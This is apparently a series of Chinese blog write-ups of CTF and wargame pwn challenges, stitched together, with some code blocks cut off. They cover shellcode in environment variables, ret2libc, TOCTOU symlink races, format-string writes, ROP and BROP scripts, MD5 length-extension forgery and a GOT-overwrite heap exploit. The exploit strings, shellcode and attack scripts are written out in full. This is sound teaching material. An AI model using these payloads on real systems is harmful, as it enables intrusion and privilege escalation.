1 | app-systeme-ch8@challenge02:~$ ltrace ./ch8 |
可以看到,这里把各个参数的调用地址都写了出来,此时我们就能够知道,在当前环境变量下,各个变量的栈中地址。
接下来,我们尝试设置我们的环境变量
1 | export USERNAME=`python -c "print '\x31\xc9\xf7\xe1\x51\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\xb0\x0b\xcd\x80'"` |
这里注意一个坑点:由于环境变量字符串结尾有\0,导致我们修改返回地址的时候,本来传入的参数地址会被我们修改:
1 | 0xbffff730: 0x63656863 0x6365736b 0x0000002f 0xb7e87924 |
然后,我们会看到,程序中有一段的逻辑如下:
1 | .text:080485C5 mov eax, [ebp+8] |
这段逻辑会取出这个参数,并且进行数据拷贝。这个时候,由于我们把参数的最低8bit置为0,会导致复制的过程中,将我们原有的返回值地址给修改了:
如上图,此时指针依然会写入Env这么大的数据,但是我们此时并没有给其留足空间,会导致我们的返回值也被修改
所以这里为了保证其参数不出意外,我们可以主动指定一个地址填充过去(例如0xbffff100,这个位置可写并且不会影响到当前栈),从而保证返回值地址不会被覆盖。
1 |
|
这个题目比较接近比赛的第一题了。首先防护,其打开了NX,那么我们就不能通过往栈中写入shellcode进行攻击了。于是这个题目就变成了很经典的ret2libc(虽然有别的做法),然而发现,其没有开ASLR,并且传参的又开始使用argv。。。所以又变得有点不太好。。
主要就是在调试的时候,使用gdb直接查看到libc中system的地址,并且根据运算,查看对应的/bin/sh的地址即可。。。
1 | gdb$ info proc all |
然而不知道为啥。。。我看到答案上都是直接起shell就能够拿到flag。。。我这边起了shell也不行呀,非得构造个/bin/dash
。所以这里我直接利用了环境变量:
1 | export MYSHELL=/bin/dash |
之后利用gdb大概找到这个字符串所在的位置
1 | 0xbfffff49: "LOGNAME=app-systeme-ch33" |
可以定位到,这个/bin/dash
地址为0xbfffff6a,但是实际运行的时候,发现这个地方依然不是/bin/dash
。。。于是只能暴力测试。。得到了字符串地址为0xbfffff7b
1 | ./ch33 `python -c 'print "a"*32 + "\x10\x23\xe6\xb7"+"b"*4+"\x7b\xff\xff\xbf"'` |
后来出现了神奇的现象。。在我成功做出了答案之后,直接使用/bin/sh也能够得到答案了神奇。。。
排名第一的答案再次学习了新的姿势:
1 | ulimit -s unlimited |
ulimit
这个指令的作用是改变linux下对资源的限制。-s unlimited
意味着让整个堆栈限制解除。这个地方一旦解除了栈的限制,整个libc映射都不会发生变化:
ASLR漏洞
这个时候再使用gdb调试找到对应的地址就很容易了。之后的思路就和我们利用思路一致,直接修改返回值即可。
An execution ordering of concurrent flows that results in undesired behavior is called a race condition—a software defect and frequent source
of vulnerabilities.Race conditions result from runtime environments,including operating systems, that must control access to shared resources, especially through process scheduling.
竞争发生的时候,就是程序流并没有按照我们期望的方式运行,而且利用这个情况我们通常能够控制一些我们本来没有权限控制的文件,或者是文件流。这个情况往往是由于环境或者操作系统导致。
竞争也不是什么时候都能够触发的。需要满足以下条件:
为了避免竞争的发生,往往会有一段代码段,在这一段代码中,每一个程序流要通过竞争的方法获得共享资源。通过实现竞争窗口的互斥(Mutual Exclusion),从而避免竞争的发生。
如果说,在发生竞争的时候,程序流互相占用了对方的资源,或者将对方进程阻塞,那么这个时候程序流就会一直等待另一个程序执行结束,于是就陷入了互相等待的过程中。这个过程我们就称之为死锁(Deadlock)。死锁的触发条件如下:
一般竞争的攻击会尝试不同的攻击条件。如果能够让计算机在预算量异常大的负载下运行,可能可以触发竞争条件。
设想下列情况:
一个应用允许用户编辑表格,同时也运行管理员禁止表格被编辑。一名用户申请了编辑的权限,然后开始编辑。在此期间,管理员因为特殊情况将表格禁止编辑。当用户将更改后的表格提交,应用程序检查发现当前的表格的确被授权可以更改,于是将更改后的表格提交上去了。
这种情况就是Time of check, time of use
(简称TOCTOU)的一种例子。TOCTOU发生在包含共享文件的多进程程序中。这种程序多数情况下伴有程序的I/O。这类程序往往有以下两个步骤
而我们如果能够在这两个过程中修改一点程序的逻辑,或者是运行环境的话,就能够将完成一次竞争攻击。
Linux下的典型例子
1 |
|
其中竞争就发生在
1 | if (access("/some_file", W_OK) == 0) { |
这个位置的如果/some_file
检查到可写,那么接下来就会往这个位置写入文件。然而,这个过程由于不是孤立的,所以我们能够同时运行另一个程序B,里面实现的功能如下
1 | rm /some_file |
如果说两个程序同时运行,并且在access之后,B程序能够执行完毕,那么此时就可能往一个不可写的文件中写入数据。这类程序一般出现在程序本身的权限较高,但是用户获得的权限较低的时候。这种程序被称为Set UID
程序,也就是程序的权限取决于当前程序用户ID权限
,可以使用下列语句添加:
1 | chmod +s filename |
如果想要尝试上面的实验的话,除了要将程序设置成Set-UID
的程序外,还要注意将当前的符号链接的保护关掉
1 | sudo echo 0 > /proc/sys/fs/protected_symlinks |
并且,为了保证程序运行的速度,我们可以自己写一个C语言程序,类似下面这样:
1 |
|
用这个程序来创建链接,并且可以将攻击成功与否(也就是是否成功替换了符号连接)放在bash脚本中:
1 |
|
然后执行attack程序和bash,就能够模拟这个竞争的过程。
还可以举出一个例子:
1 | chdir("/tmp/a"); |
上述的竞争发生在:
1 | chdir("c"); |
因为这个过程中,我们首先尝试进入c文件夹(检查c目录下的"…“文件是否存在),并且接触到其”…"目录,那么这里同样存在竞争:
1 | mv /tmp/a/b/c /tmp/c |
如果进行了上述操作,就能够通过竞争,实现让/tmp/目录下(而不是原先定义的/tmp/a/b/目录下)的文件删除的功能。
由于同步的进程无法解决这个访问共享文件的问题(因为打开文件不是一个原语),所以提出了一种新的思路: 提供一种类型的变量,不能够被并发进程访问(比如说mutex变量等)。这些并发程序流能够使文件作为锁(lock)来限制多程序流执行。
文件操作中的锁的相关代码:
1 | int lock(char *fn) { |
这段代码的问题是,open函数本身并没有被阻塞,也就是说这个位置存在竞争的可能。并且这个位置上应该一直重复计算直到文件被创建,这类锁被称为自旋锁(spinlock),通过消耗计算量和时间来实现等待。但是这个思路存在下列问题
unlock
函数,如果没有执行unlock函数,那么程序会无休止等待。于是有一种新的解决办法:
lock()可以将当前的进程PID写入锁文件。一旦发现一个现有的锁(当前文件被打开了),那么在当前的活动进程列表中检索锁文件中的进程号PID。如果此时锁文件中没有能够找到当前活动PID,那么说明锁定文件的进程已经结束了,那么进行如下操作
但是依旧有如下的问题:
由于文件的操作在同等权限下的线程中是共享的,并且文件系统也是直接暴露在其他的进程中,所以文件操作是竞争的高发地带。
这种暴露导致的漏洞一般来源于以下几种形式
很多程序运行出错之后,文件就会处于一种损坏的状态,导致一些不可避免的漏洞。
之前的例子中已经提到过了,通常是出现在TOCTOU。常见的形式如下:
access
之后调用fopen
函数stat
之后调用open
函数open
,read
,write
并且close
之后,在同一个线程中被重复打开一个例子
1 | // stat:打开指定的文件,并且将文件的信息存入statbuf中。如果这个文件不存在的话,返回-1 |
上述程序的例子中,可以使用之前提到过的方法,也就是在文件检查之前,我们就能够将/dir/some_file
删除,并且使用链接替换成我们指定的文件。
当调用open的时候,如果同时设置了这两个标志位,那么如果open指定的文件存在,那么就返回-1…
利用这个标志位,在我们指定文件为链接文件的时候,会被识别出来。
打开一个UNIX文件,并且在之后unlink
这个文件也会造成竞争。如果我们在unlink一个文件符号之前,就将这个文件改成了一个链接符号的话,那么此时unlink只会解除那个链接文件,从而保留我们指定的文件。
参考资料
部分实验参考至实验楼https://www.shiyanlou.com/courses/249/labs/807/document
http://repository.root-me.org/Programmation/C%20-%20C++/EN%20-%20Secure%20Coding%20in%20C%20and%20C++%20Race%20Conditions.pdf
1 |
|
这个的话呢,讲道理还是蛮简单的。但是问题的关键在于,我们怎么构造这个0xdeadbeef字符串,毕竟是不可见字符。这有两种思路
如果使用第二种方法的话,首先想到的话是使用python构造如下字符串:
1 | "a"*40+"\xef\xbe\xad\xde" |
但是会得到如下的结果:
1 | app-systeme-ch13@challenge02:~$ python -c 'print "a"*40+"\xef\xbe\xad\xde" + "\n" +"ls"' | ./ch13 |
为什么我们输入的ls
没有执行?这里我们可以参考下面给出来的,关于stdio buffer的文章
根据文章提炼出来的最关键的一点就是: *nix操作系统的stdin是带有缓冲的,因此,我们输入的ls也被读入了stdin中,然后在调用system之后,由于此时我们所有的数据都被放到了缓冲中,此后stdin为空,所以system("/bin/dash")
读取到了EOF,结束了当前的进程。
然后我们此时希望的结果是让我们的输入数据不要立刻落入stdin的缓冲中,又或者说,此时不让输入流中断。那么针对以上的两种需求,我们有两种思路。
1 | python -c 'print "a"*40+"\xef\xbe\xad\xde" + "\x00"*4052 + "cat .passwd"' | ./ch13 |
cat
指令。直接使用cat
的功能为将输入流复制到输出流中。如果我们将python的输出和cat放在一个命令组中,那么此时我们的输入流会被cat占用,并且此时输出流的数据会写向./ch13中。1 | (python -c 'print "a"*40+"\xef\xbe\xad\xde" '; cat ) | ./ch13 |
看起来很简单的一题,但是其实考验了对Unix基本输入输出流与缓冲的考察,还是很有意义的。
1 | /* |
这个题目比较像是传统的pwn了,通过修改栈中变量,从而劫持程序流什么的。这里唯一需要注意的是小端,也就是小的数字先被输入到了栈中
1 | (python -c 'print "a"*128+"\x64\x84\x04\x08" '; cat ) | ./ch15 |
1 |
|
这个题目涉及到了一点格式化字符串的漏洞。倒是可以直接参考我之前对格式化字符串漏洞写的博客http://showlinkroom.me/2017/01/28/pwn-learn-printf/
这里需要思考的是,此时的栈空间大致是什么样子的。我们知道,关键是printf的参数之后的第几个地址开始是我们的输入字符串的地址。这里可以大致猜测一下,应该在不远处,所以我们直接构造攻击字符串如下:
1 | ./ch5 %x,%x,%x,%x,%x,%x,%x.%x,%x,%x,%x,%x,%x,%x,%x |
这里其实没有开ASLR,而且本地其实有gdb,所以可以直接调试得知当前栈地址,然后构造栈地址,直接输入字符串。但是我有点懒了,就直接用%x
直接泄露栈中地址,得到如下:
1 | 20,804b008,b7e552f3,0,8049ff4,2,bffffc44.bffffd6c,2f,804b008,39617044,28293664,6d617045,a64,b7e554ad |
从第11个字符开始,就是我们输入的字符串。但是同样注意,我们输出来的数字是小端的,但是我们字符串是从低地址开始写的,所以这里需要将这些数字重新转换大小端。
这个题有队友主动提出,所以这里进行讲解:
1 | /* |
从源代码上来看,最关键的逻辑就在如何修改check。我们注意到,这个check的参数是在buffer之后申请的。并且在逻辑上最关键的地方就是:
1 | case 0x08: |
所以这里可以通过输入’\x08’来让下标往回指。这样的话,如果我们能够让下标指向check的位置,那么我们就能够定向修改指定位置的变量。
我们确认一下相对偏移如下:
1 | 0x80485a6 <main+82>: cmp DWORD PTR [esp+0x18],0xbffffabc |
可以看到,check的变量位置在buffer的-4的位置。所以这里我们只需要输入四个’\x08’加上0xbffffabc就能够完成攻击。
1 | (python -c "print '\x08'*4+'\xbc\xfa\xff\xbf'+'a'*4088 "; cat ) | ./ch16 |
这也是队友提出来的一个题目,这里进行分析:
1 |
|
这个题目就是一个传统的pwn了。静态编译的程序给人的暗示就是能够利用ROP,毕竟内部程序一般都会比较大(顺便,这个里面也有mmap,应该也是一种利用思路)。这里先尝试使用ROP。
对于64bit的程序,我们首先要知道其和32bit调用有一些不同。比如传参的顺序,或者系统中断调用等。
1 | +-----+-----------------+-------------------------+--------------------------+--------------------------+ |
这个是找到的一种有效的系统调用的方式。通过调用execve来实现起shell。那么为了模拟调用execve,我们需要以下gadget
syscall和int 80h的地址很容能够找到,rax的值可以通过mov和add来凑出来,最关键的是%rdi的值如何实现。在搜索了各种方法之后,发现为了填充 filename 的话可能需要至少一个read函数。于是我们还需要调用read函数。
这里有一个坑点,系统调用的时候,字符串的结尾必须是\0结尾,不然的话会去寻找一个名字带有\n的文件。。。这显然是不对的。
发现远程的\bin\sh的权限不对,于是改成直接用
1 | open --> read --> write |
的思路打开文件,读取并且写入buff中。最后成功。
在两位大佬的提醒下,发现答案里面有一个比较神奇的思路,是利用了**_dl_make_stack_executable**函数。这个函数我之前完全没见过,这里学习一下:
1 | .text:0000000000468420 mov rsi, cs:_dl_pagesize |
看了一下这个函数的代码,发现不得了啊,这个函数的功能居然是调用mprotect!函数原型为:
1 | _dl_make_stack_executable(void* address) |
这个函数接收一个地址,并且检查我们传入的地址是否为__libc_stack_end。如果为__libc_stack_end
的话,那么就会调用mprotect
,并且此时调用的形式为:
1 | mprotect(__libc_stack_end, _dl_pagesize, __stack_prot) |
这里一口气用了三个全局变量?我们分别检查其含义:
1 | __libc_stack_end |
这个变量存放的是,当前elf在载入之后,栈地址的底部。我们直到,在一个ELF文件载入的时候,在start会有一个将环境变量和传入参数压栈的操作。这个操作会将我们当前的环境变量和参数的向量传入函数。比如如下的形式:
字符串被直接压入到栈中,并且字符串地址存在了栈中,顺序大致如下:
1 | env n <-- __libc_stack_end |
其中我们可以看到,这个__libc_stack_end
的内容就是这个栈的开头。
然后看到第二个变量
1 | _dl_pagesize |
这个值存放的就是当前系统中的一页的大小。就我们目前的系统来说,都是4096
最后一个变量比较关键:
1 | __stack_prot |
这个值表示的是当前要赋予栈的权限(从名字也能猜到啦)。这个值的话一般情况下为1000000h
,然而我们为了让栈变成可读可写可执行的状态,要将其的值改成7。
于是另一个ROP的思路就出现了:
1 | 修改__stack_prot的值 --> 将__libc_stack_end的值存入rdi --> 调用_dl_make_stack_executable |
1 |
|
这个地方是是一个很明显的个格式化字符串漏洞,我们观察栈:
1 | --------------------------------------[code]------------------------------------ |
其中0xbffffd5a
就是我们输入的参数。也即是说,输入的内容为
1 | %x |
输出的内容内容是0xb7fdcb48
。则我们通过计算偏移,可以知道我们要修改的值在第8个位置上。然而这个%n是需要指定地址的,所以我们这里需要指定要写入的位置。幸好,这个题目没有开ASLR,我们此时可以计算出要写入的地址为:
首先可以知道argv[1]的结束地址为:
1 | 0xbffffda2 |
这个和之前的有点不太一样,argv[1]似乎是通过压栈的方式将整体栈数据下压,然后空出位置放入argv。所以这里我们最好是吧地址写在末尾处,方便调试。
暴力测试后发现,字符串结尾的位置在155,则我们需要写入的地址就是154和153
1 | 0xbffffae8 |
我们要写入的值为0xdeadbeef,这个值显然有点太大了,所以我们需要拆成几部分执行。
1 | +---------|--------+ |
拆成两个short类型的整数,则此时我们只需要写入0xbeef
长的字符串,然后利用%n
将其长度作为低字节写入地址, 0xdead - 0xbeef
长度的字符串作为高字节,就能一次性写入:
1 | "%48879hx%n%8126hx%n" |
开始的时候,我试用了argv[1]作为输入地址,但是计算了很久也不对。。最后使用爆破的方法找到了161个位置是我们传入参数的末尾,然后修改了exp做出来的。。。:
1 | '\xff\xbf%48877x%162$hn%8126x%161$hn\xda\xfb\xff\xbf\xd8\xfb\xff\xbf\xff' |
这个做法非常的糟糕。。。于是复习了一下snprintf
函数,了解到其运行中是立刻生效,也就是说如果我们的exp中的内容为:
1 | \xda\xfb\xff\xbf%9$n |
那么在遇到%9$n
的时候,栈中的情况已经变成
1 | 0xbffffac0: 0xbffffaec 0x00000080 0xbffffd5a 0xb7fdcb48 |
此时就能够直接往这个位置写入数据。。。。
找到的大佬的答案:
1 | echo "cat .passwd" | ./ch14 "`printf '\x38\xfb\xff\xbf\x3a\xfb\xff\xbf%s%s' '%48871x%9$hn' '%8126x%10$hn'`" |
1 |
|
这个题目首先要扯到一个函数的作用:
1 | unlink |
这个函数的作用相当于将当前文件的符号去除。一个UNIX文件被去除了符号之后,unlink函数会允许这段文件所占用的空间被覆盖,就相当于是将此文件删除。然而,由于这里调用了usleep,所以我们可以在这个程序在删除这个/tmp/tmp_file.txt
之前,抢先把文件中的数据读出来。
于是我们考虑到,我们可以尝试在运行这个程序的同时尝试读取这个/tmp/tmp_file.txt
,完成攻击。
比如说:
1 | ./ch12&cat /tmp/tmp_file.txt |
这个&
的作用是,让./ch12
能够在后台运行,这样的话就能够同时进行前面的语句和后面的语句
反复执行上述语句的话,我们可能能在文件被删除之前将文件中的内容读取出来。多次尝试之后即可得到flag。
BROP这个技术简不要太强,简直就是fuzz的神器呀!
这个技术的产生背景通常是pwn的出题人没有把elf交出来的情况(Emmmm, 真的是忘了吗),这种时候得不到ELF,我们就不能够分析源文件了。于是这个时候我们只能寄希望与得到某些特殊的条件来进行pwn,这就似乎所谓的盲注。盲注的题目往往其自身就带有漏洞,通常来说有两种:
我们接下来就针对栈溢出进行讲解这个BROP的使用方法。这种攻击的前提就是当前程序的漏洞为栈溢出,同时我们知道如何触发这个栈溢出(当然,canary防护可以打开,但是如果打开的话,可以通过暴力猜测的方式得知当前canary)
由于我们并不知道任何内存的布局,所以首先要做的事情就是通过一些手段将内存dump到本地,这个过程有很多种办法,其中参考的办法是:
1 | write(fd, buf, size); |
此时,我们如果能够将fd改成socket id,并且将buf的首地址改成代码段的话,就能够完成内存的dump。为了达成这个目的,我们就需要gadget。具体来说,就是得到下面三种gadget
1 | pop %rdi;ret; |
这三种ROP相当于是给fd,buf和size进行了赋值,这之后就能够通过调用write完成泄露。那么这阶段我们得出的主要目的就是
为了能够更好的寻找这三种gadget,我们首先要能够得到一个重要的工具gadget,这里我们把这个工具叫做stop gadget,这里的gadget可以理解成:
对于这类gadget,我们统称为stop gadget。这种题目首先要从能够知道到这类地址开始。
找到了stop gadget,我们就能更加方便的查找其他的gadget,其中
1 | pop %rsi;ret; |
这两个其实蛮好找的。因为在每个程序中都有这一段:
1 | pop rbx |
这个是init函数中的内容,然后上网查找资料,能够知道这里存在两个gadget:
也就是说,如果能够找到这个pop rbx
的地址,我们就能够快速的找到pop rsi
和pop rdi
。并且这个地方十分的有特征,就是其连续出栈了6次。如果我们将我们的栈的返回值填入上述一个猜测的addr,并且连续填入六个crash addr,也就是会崩溃的地址,并且在这之后在填入一个stop gadget,我们就能够验证此时的addr是否是这个位置上了。
那么如果我们得到了addr1,就能够算出其他两个gadget的地址:
1 | pop_rsi_pop_r15 = addr + 6 |
但是接下来我们要找的pop %rdx
却不是那么好找,毕竟这个gadget并不常见。于是这里参考了网上的一种操作:使用strcmp,这个函数的执行过程中,会将%rdx设置成比较函数的长度,并且类似于strcmp之类的系统函数调用的时候,一般不会导致程序崩溃,于是我们接下来的目标转换成:
PLT就一个跳转表,能够让程序跳转到.so加载到进程中的程序地址的内容。并且PLT都有一个特征,我们来看一个例子:
1 | .plt:0000000000400DB0 ; ssize_t read(int fd, void *buf, size_t nbytes) |
这个是一个read函数的PLT,然后我们观察此时的程序代码,会发现一个特征:
1 | +--------------------+ |
也就是说,对于利用过程中,跳转到addr和addr+6的到结果应该是一样的。如果我们在之前的检查stop gadget的过程中,发现了某个address和address+6都是stop gadget的话,那么此时就很有可能就是一个PLT。那么如何去验证呢?对于strcmp,参考的文章提出可以按照下列的方式验证:
1 | +----------+-------------+-------------+ |
如果能够形成上述的形式的话,那么这个函数就能够被认为是strcmp。
接下来,由于此时已经知道了三个gadget,那么此时只需要遍历PLT可能的地址,就能够拿到write。之后就是将整个程序dump下来,并且进行正常的pwn就好了。
这个是从大佬学校那里偷来的题目,这里记录一下做题过程(小白混入怕被拍)
首先发现是一个要求我们输入passwd的程序,显然我是猜不到这个passwd是啥的:
1 | Hello my friend,I forget my passwd.could you help me? |
然后能够知道,输入120个a的时候还没有崩溃,当输入121个a的时候,不再出现回显,猜测发生崩溃。于是我们利用这个特点,找到其中的stop gadget:
1 | from pwn import * |
由于大概能够猜测到,此处的程序结构简单,并且打算以程序开头作为主要的stop gadget,于是这里以是否会第二次输出回显作为判断是否得到stop gadget的标志。通过上述方法,能够获得部分的stop gadget。
然后通过遍历的方式,能够得那6个pop的地址,为0x4007ba,并且在gadget中,我还发现了一个疑似PLT的内容:
1 | 0x4006fb |
这个地址连续,并且相差6字节。但是重新查找后发现,也有别的地址上也有这样的情况,于是我们从0x400000开始查找
1 | def get_plt_read(addr,ph): |
通过遍历,找到了puts函数的起始地址为
1 | 0x400560 |
于是我们最后写一个dump程序,把整个逻辑给dump下来
1 | def dump_data(addr, ph): |
这里提一个小trick,因为elf文件里面存在很多\x00
,用puts去读出的时候会阶段,所以这里如果我们发现读出的字符串长度为1的时候,直接给data赋值’\x00’
1 | if length == 0: |
最后算是成功了,但是发现elf有点不完整(可能是因为index取值有问题?)所以运行不起来有点难受。但是主要的攻击手段也是有了的。此时我们知道了puts函数的地址,并且把puts函数的.plt.got表给dump下来了,并且题目已经给了提示是Ubuntu16.04。那么我们连leak的功夫都省去了,直接进行攻击即可。
1 | # -*- coding:utf-8 -*- |
一路上学到了不少的东西啊感觉。。。
参考博客:
http://ytliu.info/blog/2014/05/31/blind-return-oriented-programming-brop-attack-yi/
http://bestwing.me/2017/03/24/stack-overflow-four-BROP/
hash函数一般来说是用来签名的。比如说,如果我们需要使用一个登陆验证的时候,我们可以使用下面的代码
1 | def genMac(name): |
其中Mac(message authentication code),也就是身份认证码。我们将这个Mac交给用户,然后下一次登陆的时候,我们将会利用上面的Mac进行比较,确定是否是同一个登陆:
1 | def checkAuth(name, mac): |
那么很多人都会想到说,这个md5我们本地生成一个就好啦,于是服务器端一般会藏一个secret字符串在服务器,让md5的生成规则不被用户了解:
1 | def genMac(name): |
也就是说这个时候,如果我们不知道服务器端的secret字符串,理论上是没有办法生成我们指定名字的Mac,比如说
1 | def genMac(name): |
这个时候,没有办法生成root的Mac。然后管理员的登陆的确认逻辑变为:
1 | def checkRoot(name, mac): |
这个时候,由于不知道secret,我们就不能够伪造root的Mac值。不过这个可以注意到,这里对于name的判断只是判断其是否包含root,这个地方就暗示此处有可以利用的地方。
网上搜索了一下,MD5,SHA1,SHA2这类算法都属于一种叫做Merkle–Damgård结构的哈希函数,也就是抗冲突加密散列函数,总的来说,这个结构的函数的特征有:
这里我们先研究MD5中的哈希长度扩展攻击,所以简单介绍MD5的加密过程以及部分攻击相关的细节。
准备材料:
处理过程:
这里主要不是介绍MD5加密,所以省略了大部分的MD5加密细节(比如说,在一轮加密结束之后,会发生寄存器值的交换,但是这里没有展现出来)。这里我们着重介绍对攻击有效的部分
在一开始的时候,ABCD四个寄存器会被初始化成不同的整数,然后进行类似下列的加密:
1 | +--------------+--------------+--------------+--------------+ |
从图中我们能够指导,MD5加密是一个迭代的过程。
最后将得到的ABCD连接,就能够得到加密完成的hash值。
当我们的输入比较短,比如说是secretdata,那么此时的输入只有10个字节,也就是80bit,那么此时MD5会用以下的填充规则进行填充:
因此,对于字符串secret,得到的结果应该如下:
1 | 0000 73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00 secretdata...... |
其中0x50 == 80,正好就是当前填入的有效bit数。
攻击的最根本的原理就在之前提到的迭代处理上。我们处理一下当前手上能够得到的信息
我们的目的是
那么,首先想到,如果我们输入的内容是data,那么程序就会将其拼接成
1 | 0000 73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00 secretdata...... |
那么,在进行MD5加密的时候,加密结束的时候得到的值就会是:
1 | +--------------+--------------+--------------+--------------+ |
得到的hash值就是A1B1C1D1组合而成的。从另一个角度来说,A1B1C1D1表示的是当前上下文的状态。于是,如果我们此时能够构造出下列的情况:
1 | +--------------+--------------+--------------+--------------+ |
那么这个时候,A2B2C2D2就是一个包含了secret和root的hash值。此时完全不需要知道secret的具体内容!
这个地方最关键的就是伪造数据。由于Padding的存在,使得我们可以通过合理增加padding,让关键字符串落在下一段block中的方式,利用上下文。
以上述例子为例,
1 | 0000 73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00 secretdata...... |
此处是服务器上MD5算法中见到的字符,我们为了满足这个形式,可以主动将第一段数据填充够56字节,形成一个和第一次hash同样的值,然后第二次的时候,我们将我们需要的值放在数据的尾部
1 | 0000 73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00 secretdata...... |
这样的形式就能够形成我们需求的形式。然后,由于secret在服务器端,那么客户端上构造的字符串就应该是长这个样子的:
1 | 0000 64 61 74 61 80 00 00 00 00 00 00 00 00 00 00 00 data............ |
(倒也没有说是64字节对齐,只是数据secret和append相等罢了)
也就是说,攻击形式是:
1 | 发送data --> 得到包含secret的hash --> 构造数据,造成第一次加密完全相等的形式,并且在尾部添加字符串 --> 计算hash -->通过发送构造字符串和hash通过验证,完成攻击 |
这个东西构造还是蛮麻烦的,python里面直接就有一个库叫做hashpumpy
可以用,用法如下:
1 | hashnum = hashlib.md5(secret+'data').hexdigest() # 假设生成了一个hashnum用作Mac |
其生成的token即为包含了data和root的hash值,而fake则是包含了root的数据。
可能因为看英文会一个一个字去看,最近只有看英文的blog才能够学的到东西(汗),果然还是得静下心来看东西才行。
大部分的数据都来自参考博客
参考博客
(https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks]
首先打开程序,发现是一个购买东西的界面:
1 | === Menu === |
我们从IDA中,也能够看到类似的内容。其大致就是一个购买iPhone 的程序,然后我们看到程序逻辑:
1 | Phone *__cdecl insert(Phone *a1) |
从这里我们能够知道,这个Phone对象是一个双重指针,每一个Phone对象都会以指针的形式丢在myCard这个全局变量上。然后,这个Phone对象不出所料的是一个chunk:
1 | Phone *__cdecl create(char *a1, int a2) |
这里能够知道,每次分配的大小为0x10,然后price本身的内容为一个整数,接下来会在v2的位置上存放一个字符串指针,大小为能够放入a1那个字符串大小的空间。之后我们观察释放的过程:
1 | unsigned int delete() |
观察这个过程,大概的逻辑就是,检查输入的数字和first是否相等,相等的时候向链表后方移动一位。如果相等时候后,将这个需要删除的堆块取出(但是注意,这里并没有将堆块free掉)。
然后这个函数还提供了检查当前总共花了多少元的逻辑:
1 | int cart() |
这个逻辑相当于检查我们的购物车中总共有多少钱。然后还有一段很有趣的逻辑:
1 | unsigned int checkout() |
这个地方我们会发现,如果我们此时购买的iPhone总价格达到了7174的价格的时候,我们就能够买入iPhone 8!并且有一点很有意思,这个iPhone8是**【放在栈上的】**。这个条件好像很重要。。。
首先我们知道,为了得到这个iPhone 8,我们需要6*199+20*299,也就是(1)iPhone 6 199
*6和 (2) iPhone 6 Plus 299
*20。
然后我们仔细想一下这个iPhone 8 的结构:
1 | 00000000 Phone struc ; (sizeof=0x10, mappedto_1) |
如果说,我们把上面的结构体拿出来的话,那么在【进入别的函数的时候,ebp-20h~ebp-10h之间的内容将会发生变动】,这一点可以好好利用一下。我们知道,此时【insert函数只会将当前的before chunk】的值更改,但是【此时的next chunk】的值不发生变化。
也就是说,这个chunk的利用方式大致是知道了
首先观察到,比较合适的修改函数为cart:
1 | int cart() |
这个buf的内容正好涵盖了ebp-20h 到 ebp - 10h,相当于说这整个的chunk我们都能够控制。然后我们能够找到另一个可以利用的位置:
1 | printf("Remove %d:%s from your shopping cart.\n", first, Phones->str); |
这个地方,如果我们将str addr覆盖成任意一个got表的位置,我们就能够泄露地址了!然后我们通过修改atoi的got表的地址,从而将atoi的地址修改成sysytem,完成攻击!。
首先我们构造26个块:
1 | +----------+ +----------+ |
然后我们构造第27个块,放在上面:
1 | +----------+ +----------+ |
然后我们通过delete函数,在ebp-22h处写入27,然后ebp-20h开始,写入printf的地址0804B010:
1 | +--------+ ebp - 22h |
就能够完成泄露。然后,我们通过修改before指针,让其等于atoi.got - 0x8,那么之后在:
1 | if ( first == No ) |
这个位置上,我们就能通过phone->before->next,让atoi.got的值变成phone->next的值。然后我们尝试在泄露地址之后写入值,发现不行呀!如果我们利用上述过程的话,必定有Phone->next
发生写入,而如果我们此时next
改成了system的地址的时候,发生写入肯定是【会发生段保护的】。。。Emmm真的难。。不过后来修改了一下逻辑,我们只需要要cart,一样也可以进行泄露。
参考了一下网上的意见,大部分给出的答案都是说,【要控制ebp】。这个想法看到学长用过,我观察一下哪里可以控制先:
1 | +--------+ ebp - 22h |
突然想通了!伪造ebp其实非常的关键:
上面是原先的栈中的内容,但是,如果我们能够把**【old ebp】**进行修改的话,那么结果就能够变成如下:
如果此时ebp被pop出来的话,此时在main
函数中,我们的nptr其实上就能够指向此时的got地址!
1 | unsigned int handler() |
这样的话,就方便很多!那么为了实现这个操作,最关键内容变成了【泄露一个栈上的地址】,而后我们可以知道,有一个叫做environ的变量,正好会存放当前栈中环境变量所在的位置,这里我们可以将其泄露出来,从而得到栈的地址。
最后的最后,还要注意,在发生了read之后才会进入atoi,所以我们输入的system_addr的地址也会就进入到system函数中。不过有了pwnable5的教训,我们知道,只需要加入一个**;**就能够截断之前的字符串,于是我们可以发送:
1 | p32(system_addr)+";/bin/sh" |
即可完成攻击!
附上exp
1 | # -*- coding:utf-8 -*- |
这次的题目,利用方法还是通过修改.got表的方式进行利用,其中比较核心的利用方法就是控制ebp,也就是控制栈的重要性。其实不单纯是劫持程序流,如果能够劫持栈的话,也不失为一种良好的利用方式。
]]>首先看到,这个程序前后问感觉是个经典的pwn,尤其是看到:
1 | Book *create() |
这个地方可以发现,ptr本身free之后,并没有被释放,换句话说,这个是一个典型的UAF。
这里想到,fast bin中对于堆的管理如下:
1 | +---------------+ |
如果说,这个chunk的fd存在指定值的时候,我们去修改fd,那么下一次malloc的返回值就会是fd的值。但是周末的时候,听到了大佬们讨论关于malloc的保护机制,去翻一下源代码看一下,大概看懂了防护机制。简单来说,检查了fd中的大小和malloc中的大小是否相等,这就不好搞了啊,如果我们随便的修改fd的话,很可能会被查出来。那么我们这里先做一次实验,看看会不会发生这样的事情。实验结果的确是,我们只有修改的fd指向了【堆块开头大小符合要求的时候才能够完成分配】。。。。。
那么我们首先要泄露数据,但是,但是,我发现free之后,也没有什么值得泄露的东西啊!
昨天晚上fuzz(?)了一下,发现有一个malloc的洞我居然没有发现:
1 | puts("Please input your information"); |
这个位置上,在v1指向的ptrfree之后,如果重新读入一个指针的话,那么malloc就【可能为其分配空间】。
利用算是找到了,但是泄露怎么办呢。。。
1 | .bss:0000000000602090 stdin@@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000400410↑o |
